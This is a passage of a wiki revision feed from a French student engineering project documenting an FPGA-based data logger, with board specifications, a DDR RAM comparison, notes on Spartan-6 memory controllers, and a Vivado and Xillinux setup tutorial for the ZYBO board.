Industrial-grade Xilinx Spartan-6 LX FPGA micromodule (LX45 / LX100 / LX150)&lt;br /&gt;
* 10/100/1000 tri-speed Gigabit Ethernet transceiver (PHY)&lt;br /&gt;
* 2 x 16-bit-wide 1 Gb (128 MB) or 4Gb (512 MB) DDR3 SDRAM&lt;br /&gt;
* 128Mb (16 MB) SPI Flash memory (for configuration and operation) accessible through:&lt;br /&gt;
* 1Kb Protected 1-Wire EEPROM with SHA-1 Engine&lt;br /&gt;
* JTAG port (SPI indirect)&lt;br /&gt;
* FPGA configuration through:&lt;br /&gt;
* B2B connector&lt;br /&gt;
* JTAG port&lt;br /&gt;
* SPI Flash memory&lt;br /&gt;
* Plug-on module with 2 × 100-pin high-speed hermaphroditic strips&lt;br /&gt;
* Up to 52 differential, up to 109 single-ended (+ 1 dual-purpose) FPGA I/O pins available on B2B strips&lt;br /&gt;
* 4.0 A x 1.2 V power rail&lt;br /&gt;
* 1.5 A x 1.5 V power rail&lt;br /&gt;
* 125 MHz reference clock signal&lt;br /&gt;
* Single-ended custom oscillator (option)&lt;br /&gt;
* eFUSE bit-stream encryption (LX100 or larger)&lt;br /&gt;
* 1 user LED&lt;br /&gt;
* Evenly-spread supply pins for good signal integrity&lt;br /&gt;
* Other assembly options for cost or performance optimization available upon request.&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet TE0600]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Caractéristiques du TE0603=====&lt;br /&gt;
*Board power supply via screw terminals, DC jack&lt;br /&gt;
*JTAG header compatible with Xilinx parallel cable III, IV and USB cable HW-USB&lt;br /&gt;
*Small form factor: 115x70 mm&lt;br /&gt;
*Micro SD connector&lt;br /&gt;
*5 Header connectors with up to 114 user IOs&lt;br /&gt;
*2 Push-buttons for reset and user function&lt;br /&gt;
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0603/documents/UM-TE0603.pdf Datasheet TE0603] &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Étude de la carte TE0603=====&lt;br /&gt;
[[Fichier:Zybo.jpg|300px|thumb|right|ZYBO]]&lt;br /&gt;
Je vais travailler avec la carte TE0603 en lui ajoutant une socket support pour ajouter une barrette de RAM. En effet, on peut configurer le FPGA pour que ces LUT se transforment en mémoire volatile. Cependant, la taille de ces mémoire reste limité au maximum à 512Mb configurable en 16 ou 32 bits. Mais le CAN branché en amont du FPGA fonctionne à une fréquence de 50MHz, on se rend vite compte que la mémoire RAM va se saturer même si la vitesse de la transmission en aval par le port Ethernet est élevé. &amp;lt;br&amp;gt;&lt;br /&gt;
On trouve sur le site [http://www.trenz-electronic.de trenz-electronic.de] des fichiers schematic et typon lisible sous Altium de la carte de TE0603. C'est de ce [http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603/d3/HW_design.html schéma] que je vais démarrer pour réaliser la carte fille RAM. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
En étudiant de plus près le protocole de lecture et d'écriture, il semble possible de créer une carte fille avec juste le support de la barrette physique de RAM. C'est le FPGA qui va se charger de réaliser le &amp;quot;driver&amp;quot; pour accéder en écriture et en lecture les espaces mémoires.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====ZYBO====&lt;br /&gt;
C'est une plate-forme de développement d'usage général. Celle-ci intègre un port HDMI, plusieurs ports USB dont un pour la programmation, plusieurs switch, plusieurs boutons poussoirs, un slot pour carte SD et surtout 512Mb de DDR3. Cette carte possède comme autre avantage qu'elle peut booter sur un linux via la carte SD. Ainsi, on peut se connecter en SSH/SCP sur la machine et interagir, émettre et recevoir des données en grande quantité. Je pense que le ZYNQ 7000 est un FPGA très avantageux pour faire du système embarqué.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
*[http://digilentinc.com/Products/Detail.cfm?NavPath=2,400,1198&amp;amp;Prod=ZYBO Diligent ZYBO Zynq-7000] (fourni le 26 novembre 2015)&lt;br /&gt;
&lt;br /&gt;
====LX9 MicroBoard====&lt;br /&gt;
[[Fichier:LX9.jpg|300px|thumb|right|AVNET LX9 MicroBoard]]&lt;br /&gt;
*Plateforme Xilinx Spartan-6 FPGA LX9 MicroBoard (ressource personnel)&lt;br /&gt;
C'est une plate-forme de développement à faible coût qui permet de travailler avec un SPARTAN 6  et MicroBlaze. Elle possède plusieurs entrées sorties (moins que la TE0600), des leds, un interrupteur et 4 switch très fragiles et un port Ethernet. Cette board vient de mes ressources personnelles mais le modèle étant simple et assez répandu, on trouve beaucoup de tutoriel explicatif sur internet.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Etude de la problématique===&lt;br /&gt;
====Étude pour l'ajout de RAM====&lt;br /&gt;
Je m'interroge sur les différentes technologies de RAM, en cherchant sur le net, on trouve des comparatifs et de brefs historiques. En voici des extraits:&amp;lt;br&amp;gt;&lt;br /&gt;
'''Historique:''' &amp;lt;br&amp;gt; &lt;br /&gt;
 [[Fichier:DDR.jpg|200px|thumb|right|Différents types de barrette de RAM]]&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;Double Data Rate (DDR) SDRAM starts making name in computer market around 2002 and is evolved from SDR (Single Data Rate) SDRAM. The slight difference between DDR and SDR is that DDR reads data on both the rising and falling edges of the clock signal, enabling a DDR memory module to transfer data twice faster as an SDR memory module.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;After 2 years DDR made name in the market, DDR2 appears in mid-2004. DDR2 achieves a better speed than  DDR in providing bandwidth up to 8.5 GB per second. The best thing about DDR2 is that theDDR2 based systems can use memory installed in pairs to run in &amp;quot;dual channel mode&amp;quot; to increase memory throughput even further.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;Nowadays, DDR3 takes place of DDR2 in the computer market. DDR3 is believed to consume less power because it operates at lower voltages and can transfer data at rates up to 12.8 GB per second which is 4.3 GB per second faster than DDR2. DDR3 based systems can address memory modules in banks of 1, 2 or 3. &lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |+ Comparatif des performances de DDR* RAM&lt;br /&gt;
 |-&lt;br /&gt;
 |&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR1 RAM&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR2 RAM&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR3 RAM&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Nombre de pins&lt;br /&gt;
 | 184&lt;br /&gt;
 | 240&lt;br /&gt;
 | 240&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Vitesse d'horloge&lt;br /&gt;
 | 100 MHz à 200 MHz&lt;br /&gt;
 | 100 MHz à 266 MHz&lt;br /&gt;
 | 100 MHz à 300 MHz&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Taux maximum de tranfers&lt;br /&gt;
 | 200 MT/s à 400 MT/s&lt;br /&gt;
 | 400 MT/s à 1066 MT/s&lt;br /&gt;
 | 800 MT/s à 2400 MT/s&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Tension d'alimentation&lt;br /&gt;
 | 2.5 V&lt;br /&gt;
 | 1.8 V&lt;br /&gt;
 | 1.5 V&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
====IP pour SDRRAM====&lt;br /&gt;
 [[Fichier:Sram.jpg|200px|thumb|right|Schéma fonctionnel du driver pour DDR RAM]]&lt;br /&gt;
*Étude de l'IP pour l'adressage RAM&lt;br /&gt;
On trouve plusieurs Ip pour adresser des mots mémoires à la carte RAM:&lt;br /&gt;
**[http://opencores.org/project,sdr_ctrl opencore]&lt;br /&gt;
**Schéma fonctionnel: &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il semble que le Spartan 6 possède des Memory Controller Blocks (MCBs) qui sont spécialement conçu pour adresser des DRAM (DDR, DDR2 et DDR3). Les MCBs ont une vitesse d'accès supérieur à 800 Mbit/s selon la datasheet du Spartan 6. On peut utiliser l'outil Memory Interface Generator (MIG) qui est disponible dans l'outil CORE Generator de ISE.&lt;br /&gt;
&lt;br /&gt;
====Etude  des Memory Controller Blocks==== &lt;br /&gt;
[[Fichier:MCB.png|400px|thumb|right|Représentation du fonctionnement d'un Memory Controller Block (MCB)]] &lt;br /&gt;
Il y a trois fonctions principales du point de vue de l'utilisateur:&lt;br /&gt;
*Lire le port (unidirectionnel)&lt;br /&gt;
*Écrire sur le port (unidirectionnel) &lt;br /&gt;
*Lire et écrire sur le port (bi directionnel)&lt;br /&gt;
On peut voir la représentation du fonctionnement d'un Memory Controller Block (MCB)plusieurs blocks que l'on définit ainsi:&lt;br /&gt;
*Arbiter ou arbitre:&lt;br /&gt;
Il détermine quel port à la priorité pour accéder à la mémoire physique.&lt;br /&gt;
*Controller ou contrôleur:&lt;br /&gt;
Block de contrôle primaire qui convertit de simples requêtes utilisateur en de plus complexes instructions et séquences pour commmuniquer avec la mémoire.&lt;br /&gt;
*Datapath&lt;br /&gt;
Ce block porte le flux de données écrite et lue entre la mémoire physique et l'utilisateur.&lt;br /&gt;
*Physical Interface (PHY) ou  interface physique:&lt;br /&gt;
Convertit les instructions du contrôleur en des relations temporelles et signaux adapté à la mémoire DDR pour communiquer avec elle.&lt;br /&gt;
*Calibration Logic:&lt;br /&gt;
Clalibre l'interface physique (PHY) pour avoir le meilleur rendement.&lt;br /&gt;
&lt;br /&gt;
===Proposition de solutions===&lt;br /&gt;
====Récuperation et affichage des données avec la pateforme ZYBO====&lt;br /&gt;
Voici une liste de matériel pour réaliser cette solution:&lt;br /&gt;
*Plateforme ZYBO&lt;br /&gt;
*Alimentation 5V 3A&lt;br /&gt;
*Carte microSD 4Gb (2Gb minimum)&lt;br /&gt;
*Cable RJ45 &lt;br /&gt;
*Linux type Debian &amp;lt;br&amp;gt;&lt;br /&gt;
Voici les différentes étapes à réaliser pour récupérer et afficher les données venant des GPIOs:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Téléchargement et installation=====&lt;br /&gt;
a°)Telecharger et installer Vivado WebPack de la version la plus récente. [http://www.xilinx.com/support/download.html (Xilinx)] &amp;lt;br&amp;gt;&lt;br /&gt;
b°)Télecharger depuis [https://reference.digilentinc.com/zybo:zybo Zybo Resource Center] le fichier zybo_base_system.zip. &amp;lt;br&amp;gt;&lt;br /&gt;
c°)Télecharger depuis ce [https://github.com/Digilent/vivado-boards/archive/master.zip lien] les ZYBO board files et placer le dossier source /new/zybo/ dans C:\Xilinx\Vivado\2015.4\data\boards\board_files &amp;lt;br&amp;gt;&lt;br /&gt;
d°)Télecharger les fichiers [http://xillybus.com/downloads/xillinux-eval-zybo-1.3c.zip xillinux-eval-zybo-1.3c.zip] et n'en extraire que le dossier bootfiles dans le dossier de travail&amp;lt;br&amp;gt;&lt;br /&gt;
e°)Télecharger le fichier [http://xillybus.com/downloads/xillinux-1.3.img.gz xillinux-1.3.img.gz] et extraire son contenu dans le dossier de travail&amp;lt;br&amp;gt;&lt;br /&gt;
=====Création d'une carte bootable sur ZYBO=====&lt;br /&gt;
[[Fichier:Tuto1.PNG|100px|thumb|right|g°)]]&lt;br /&gt;
[[Fichier:Tuto2.PNG|100px|thumb|right|h°)]]&lt;br /&gt;
[[Fichier:Tuto3.PNG|100px|thumb|right|j°)]]&lt;br /&gt;
[[Fichier:Tuto4.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
[[Fichier:Tuto5.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
[[Fichier:Tuto6.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
Dans la suite du tutoriel, je vais présenter comment obtenir le fichier .bit qui permet d'obtenir un accès aux différents ports du FPGA comme les switches, les leds, le HDMI etc. Si vous voulez prendre un fichier tout fait, je vous propose le mien qui est déjà compilé et fonctionnel. On le trouvera dans ce [[fichier: Pack_bit.zip | fichier .zip]] avec un imprim'écran qui montre les registres lié aux différentes interfaces. Ce fichier image est très important pour la partie &amp;quot;récupération&amp;quot; des données. Si vous utilisez ce fichier .zip, sautez directement au point .&amp;lt;br&amp;gt;&lt;br /&gt;
f°)Ouvrir avec le logiciel Vivado zybo_base_system\source\vivado\hw\zybo_bsd\zybo_bsd.xpr &amp;lt;br&amp;gt;&lt;br /&gt;
g°)Sur la gauche de l'écran, sous IP integrator, choisir Open Block Design &amp;lt;br&amp;gt;&lt;br /&gt;
h°)Supprimer l'IP pour adresser les LEDS &amp;lt;br&amp;gt;&lt;br /&gt;
i°)On va créer un nouvel IP, tool-&amp;gt;Create and Package IP...; next; name-&amp;gt; myLed; next &amp;lt;br&amp;gt;&lt;br /&gt;
j°)La fenêtre suivante permet d'ajouter des interfaces. On va créer une interface AX14 pour le peripherique myLed. &lt;br /&gt;
*Interface type -&amp;gt;Lite &lt;br /&gt;
*Mode -&amp;gt;Slave &lt;br /&gt;
*data width -&amp;gt;32 bits &lt;br /&gt;
*number of registers -&amp;gt;4&lt;br /&gt;
*Name-&amp;gt;S00_AXI &amp;lt;br&amp;gt;&lt;br /&gt;
k°)La fenêtre suivante permet de choisir l'option &amp;quot;edit IP&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
l°)Dans le projetct manager, ouvrir &amp;quot;myLed_V1...&amp;quot; et ajouter à la ligne 18 :&lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt;output wire [3:0] led, &amp;lt;/pre&amp;gt;&lt;br /&gt;
|} &lt;br /&gt;
et à la ligne 400 : &lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt; assign led=slv_reg0[3:0];&amp;lt;/pre&amp;gt;&lt;br /&gt;
|} &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
m°)Il faut maintenant ajouter l'IP au design. Cliquer sur Open Block Design, puis click droit → Add IP et choisir myLed0. Relier comme sur l'image le I/O de l'IP en cliquant sur « run connection automation ».&amp;lt;br&amp;gt;&lt;br /&gt;
n°)Clique droit sur l'IP → create port, le nommer LED sur 4 bit et supprimer le précédent port. Relier le port de sortie à LED.&amp;lt;br&amp;gt;&lt;br /&gt;
o°)Dans les sources du Project manager, allez dans constraints, et ouvrir base.xdc et modifier comme sur l'image. &amp;lt;br&amp;gt;&lt;br /&gt;
p°) Dans le flow navigator, cliquer sur create bitstream.&amp;lt;br&amp;gt;&lt;br /&gt;
=====Préparation et utilisation de la carte µSD=====&lt;br /&gt;
q°)Dans notre dossier de travail, nous avons 4 fichiers :&lt;br /&gt;
*boot.bin&lt;br /&gt;
*devicetree.dtb&lt;br /&gt;
*uImage&lt;br /&gt;
*le fichier *.bit que l'on vient de générer et que l'on renomme xillydemo.bit&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
r°)Monter la carte µSD dans le PC sous linux. Créer une partition de 36Mo en FAT16 et une partition qui prend tout le reste de la place en ext4. Personnellement après de nombreuse tentatives, je recommande GParted.&amp;lt;br&amp;gt;&lt;br /&gt;
s°)Copier les quatre fichiers sur la partition de 36Mo.&amp;lt;br&amp;gt;&lt;br /&gt;
t°)Éteindre la board avec le switch. Mettre le jumper de boot sur SD. Installer la carte SD dans le slot. Allumer la board.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Vous pouvez maintenant brancher un câble HDMI ou VGA à la board pour y connecter un écran, ainsi qu'un clavier pour faire la configuration et l'installation de Ubuntu. Le nom d'utilisateur est root et le mot de passe est toor. Le mieux est de faire un apt-get update, puis un apt-get upgrade pour mettre à jour les paquets. Il est maintenant nécessaire d'installer les paquets pour ssh si ce n'est pas déjà fait. Il est aussi nécessaire d'installer python.&amp;lt;br&amp;gt;&lt;br /&gt;
=====Récupération des données des GPIOs=====&lt;br /&gt;
C'est là que le fichier d'adressage qui se situe dans Pack_bit si vous n'avez pas fait votre propre bitstream ou dans Vivado → Open Block Design → Adress Editor, va nous servir.&lt;br /&gt;
	On peut utiliser nmap pour scanner son réseau et trouver l'adresse ip de la board ZYBO.&lt;br /&gt;
	Une fois connecté, on va récupérer les données des switchs et écrire leur valeur dans un fichier. Voici un code en python qui récupère les données depuis des adresses mémoire dans /dev/mem. Le code est assez simple et efficace. L'astuce consiste à mettre en relation les offset que l'on voit avec les adresses que l'on a attribué avec l'Adress Editor dans Vivado :&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On voit que les offset des LED et des SWITCH correspondent.&lt;br /&gt;
	J'ai ensuite crée un serveur apache sur le linux du ZYBO et j'ai affiché les données que j'ai collécté sur un graphique que je peux atteindre en tapant l'adresse ip de la machine.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
J'ai pu mesurer la vitesse d'acquisition des données, celle ci n'est pas très élevé. On obtient 180 Ko/s. Ce pendant cette méthode est utile si on veut récupérer les données qui sont dans la RAM. En effet, j'ai pu tester des codes en C qui permettent de récupérer directement les données qui sont dans la RAM à partir du linux embarqué. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Fichiers==&lt;br /&gt;
[[Fichier:DDR connecteur datasheet.png|300px|thumb|right|]]&lt;br /&gt;
*Empreinte sous Altium Designer pour le connecteur DDR3&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Shopping==&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/FCI/10081530-12207LF/?qs=sGAEpiMZZMu51HMau1GEUGmiHfa8/gTAo1M2%252bNESSU0%3d Connecteur DDR3] 1.5€ ([http://portal.fciconnect.com/Comergent/en/US/adirect/fci;jsessionid=FEFFAFAD5839598353F129F4194CC82E?cmd=catProductDetail&amp;amp;entryPoint=adirect&amp;amp;messageType=catProductDetail&amp;amp;showAddButton=true&amp;amp;productID=1008153012207LF datasheet])&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/FCI/10005639-11109LF/?qs=sGAEpiMZZMu51HMau1GEUBTEbqSTMcBDcRDLdGvDZHE%3d Connecteur DDR2] 2€ ([http://www.mouser.com/ds/2/154/gs-12-251-532922.pdf datasheet])&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/TE-Connectivity-AMP/5390241-4/?qs=sGAEpiMZZMu51HMau1GEUC3LrSDvJPJ82YYPKc6FyEY%3d Connecteur DDR1] 4.5€ ([http://www.mouser.com/ds/2/418/NG_CD_5390241_E-668131.pdf datasheet])&lt;br /&gt;
*Recuperation de DDR1 au service informatique de Polytech&lt;br /&gt;
&lt;br /&gt;
==Sources==&lt;br /&gt;
[http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603.html Fiche commerciale TE0600] &amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.fpga4fun.com/FPGAinfo1.html FPGA généralité]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/user_guides/ug388.pdf Guide Xilinx pour le design avec les MCB (Chapitre 3) ] &amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/ip_documentation/mig/v3_92/ug416.pdf Guide Xilinx pour le design avec l'outil MIG (page 9)]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://claude.lahache.free.fr/mapage2/lignes.pdf Cours sur les lignes de propagations]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://hallofitmage.blogspot.fr/2012/03/difference-between-ddr-ddr2-and-ddr3.html Frautte Nihilus] &amp;lt;br&amp;gt;[https://en.wikipedia.org/wiki/DIMM Wikipédia DIMM]&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Avinot</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P2_Data_Logger&amp;diff=27715</id>
		<title>P2 Data Logger</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P2_Data_Logger&amp;diff=27715"/>
				<updated>2016-02-23T19:15:43Z</updated>
		
		<summary type="html">&lt;p&gt;Avinot : /* Proposition de solutions et argumentaire */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Dénomination du sujet par les enseignants====&lt;br /&gt;
{|class=&amp;quot;wikitable centre&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;col&amp;quot; |Objectif&lt;br /&gt;
| Réaliser une plate-forme de mesure de la consommation d'équipement électroniques &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;col&amp;quot;|Description&lt;br /&gt;
|La consommation des équipements électroniques est devenue un enjeu majeur puisque les équipements sont très souvent utilisés en situation de mobilité. La réduction de la consommation passe par la compréhension des sources de consommation que ce soit par le logiciel ou par le matériel.&lt;br /&gt;
&lt;br /&gt;
Afin de comprendre les mécanismes de consommation, il est nécessaire de pouvoir mesurer le courant des différents composants d'un système. Dans ce projet, nous proposons la réalisation d'une plate-forme permettant la mesure de courant.&lt;br /&gt;
&lt;br /&gt;
Cette plate-forme devra être ouverte et facilement reconfigurable (ajout / retrait de voies de mesures, filtrage des mesures, ...)&lt;br /&gt;
&lt;br /&gt;
La plate-forme sera constituée de :&lt;br /&gt;
*Un FPGA permettant de contrôler le système,&lt;br /&gt;
*Des voies de mesures de courant embarquant un capteur et un convertisseur analogique / numérique,&lt;br /&gt;
*Une mémoire RAM de stockage des données,&lt;br /&gt;
*Une interface permettant de gérer la plate-forme et de récupérer les données.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Contexte====&lt;br /&gt;
Dans le cadre d'une réalisation de projet de fin d'étude, on se propose de réaliser un &amp;quot;data logger&amp;quot;. Durant les semaines à venir, je vais travailler sur un dispositif qui stockera des données numériques envoyé depuis un convertisseur analogique numérique dans une barrette de RAM avant de les rendre accessible par une liaison RS232. Le but de se projet est de compléter le panel de technologie disponible pour un laboratoire qui possède une...&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
*stocker en RAM une série de donnée le plus rapidement possible&lt;br /&gt;
*construire interface permettant de recuperer les infomations via un RJ45 protocole Ethernet&lt;br /&gt;
*rendre modulaire le code en permettant de modifier facilement de la taille des mots d'entrée (passer de 8 bits à 10 puis 16 ...)&lt;br /&gt;
*rendre modulaire le code en permettant d'ajouter un fréquencemètre &lt;br /&gt;
*développer une carte support pour le LX45 maitriser les temps de propagations des signaux sur le typon, en direction de la barrette de RAM&lt;br /&gt;
&lt;br /&gt;
===Étapes du projet===&lt;br /&gt;
Le projet va se dérouler en plusieurs étapes.&amp;lt;br&amp;gt;&lt;br /&gt;
1)Etude des plates-formes de programmation&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
2)Etude de la problématique&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
3)Proposition de solutions et argumentaire&lt;br /&gt;
&lt;br /&gt;
===Choix techniques : matériel, logiciels, sources===&lt;br /&gt;
*[http://www.opencores.org OPENCORES.ORG]&lt;br /&gt;
*[http://www.ztex.de/usb-fpga-1/usb-fpga-1.15.e.html Caracteristiques du LX45]&lt;br /&gt;
*[http://www.xilinx.com/itp/xilinx10/isehelp/ise_c_overview.htm Logiciel XILINX ISE ] (overview)&lt;br /&gt;
&lt;br /&gt;
==Suivi des étapes du Projet==&lt;br /&gt;
===Etude des plates-formes de programmation===&lt;br /&gt;
====TE0600 &amp;amp; TE0603====&lt;br /&gt;
La board que m'ont fournie les encadrants se compose se compose d'une carte mère et d'une carte support. La carte mère, nommé TE0600 est composé d'un FPGA Xilinx SPARTAN 6 LX45. C'est le &amp;quot;cerveau&amp;quot; du projet qui vient se brancher sur une carte support qui me servira au développement (programmation, IOs, carte mémoire, alimentation, Ethernet...). Celle ci se nomme TE0603. Elles seront indissociable pendant toute la période de développement. &lt;br /&gt;
*[http://www.trenz-electronic.de/de/produkte/fpga-boards/trenz-electronic/te0600.html SPARTAN 6 lx45 chez TRENZ Electronic TE0603 et TE0600 (fourni le 10 octobre 2015)]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet]&amp;lt;br&amp;gt;&lt;br /&gt;
=====Caracteristiques SPARTAN 6 XILINX LX45=====&lt;br /&gt;
[[Fichier:Spartan6_logo.jpg|200px|thumb|right|SPARTAN 6 LX45]]&lt;br /&gt;
'''General'''&lt;br /&gt;
*consommation: 0.6A&lt;br /&gt;
*45nm low power process technology with 6-input LUTs&lt;br /&gt;
*1080MHz clock management tiles (2 DCM + 1 PLL) &lt;br /&gt;
*320MHz Block RAM from 216 - 4824 Kbits&lt;br /&gt;
*Memory interface controllers blocks from 0 - 4&lt;br /&gt;
*1.08Gbps SelectIO™ technology &lt;br /&gt;
*390MHz DSP48A1 slices from 8 - 180 &lt;br /&gt;
*Embedded processing &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Pour plus de détails:&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Caracteristiques_SPARTAN_6_XILINX_LX45.pdf]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/data_sheets/ds160.pdf General Description]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/publications/prod_mktg/Spartan6_Product_Brief.pdf Commerciale presentation]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/data_sheets/ds162.pdf Spartan-6 FPGA Electrical Characteristics]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Caractéristiques de TE0600 =====&lt;br /&gt;
[[Fichier:TE0600_photo.jpg|300px|thumb|right|TE0600]]&lt;br /&gt;
[[Fichier:TE0603_photo.jpg|300px|thumb|right|TE0603]]&lt;br /&gt;
[[Fichier:TE0603_Gerber.jpg|300px|thumb|right|Gerber TE0603]]&lt;br /&gt;
Industrial-grade Xilinx Spartan-6 LX FPGA micromodule (LX45 / LX100 / LX150)&lt;br /&gt;
* 10/100/1000 tri-speed Gigabit Ethernet transceiver (PHY)&lt;br /&gt;
* 2 x 16-bit-wide 1 Gb (128 MB) or 4Gb (512 MB) DDR3 SDRAM&lt;br /&gt;
* 128Mb (16 MB) SPI Flash memory (for configuration and operation) accessible through:&lt;br /&gt;
* 1Kb Protected 1-Wire EEPROM with SHA-1 Engine&lt;br /&gt;
* JTAG port (SPI indirect)&lt;br /&gt;
* FPGA configuration through:&lt;br /&gt;
* B2B connector&lt;br /&gt;
* JTAG port&lt;br /&gt;
* SPI Flash memory&lt;br /&gt;
* Plug-on module with 2 × 100-pin high-speed hermaphroditic strips&lt;br /&gt;
* Up to 52 differential, up to 109 single-ended (+ 1 dual-purpose) FPGA I/O pins available on B2B strips&lt;br /&gt;
* 4.0 A x 1.2 V power rail&lt;br /&gt;
* 1.5 A x 1.5 V power rail&lt;br /&gt;
* 125 MHz reference clock signal&lt;br /&gt;
* Single-ended custom oscillator (option)&lt;br /&gt;
* eFUSE bit-stream encryption (LX100 or larger)&lt;br /&gt;
* 1 user LED&lt;br /&gt;
* Evenly-spread supply pins for good signal integrity&lt;br /&gt;
* Other assembly options for cost or performance optimization available upon request.&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet TE0600]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Caractéristiques du TE0603=====&lt;br /&gt;
*Board power supply via screw terminals, DC jack&lt;br /&gt;
*JTAG header compatible with Xilinx parallel cable III, IV and USB cable HW-USB&lt;br /&gt;
*Small form factor: 115x70 mm&lt;br /&gt;
*Micro SD connector&lt;br /&gt;
*5 Header connectors with up to 114 user IOs&lt;br /&gt;
*2 Push-buttons for reset and user function&lt;br /&gt;
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0603/documents/UM-TE0603.pdf Datasheet TE0603] &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Étude de la carte TE0603=====&lt;br /&gt;
[[Fichier:Zybo.jpg|300px|thumb|right|ZYBO]]&lt;br /&gt;
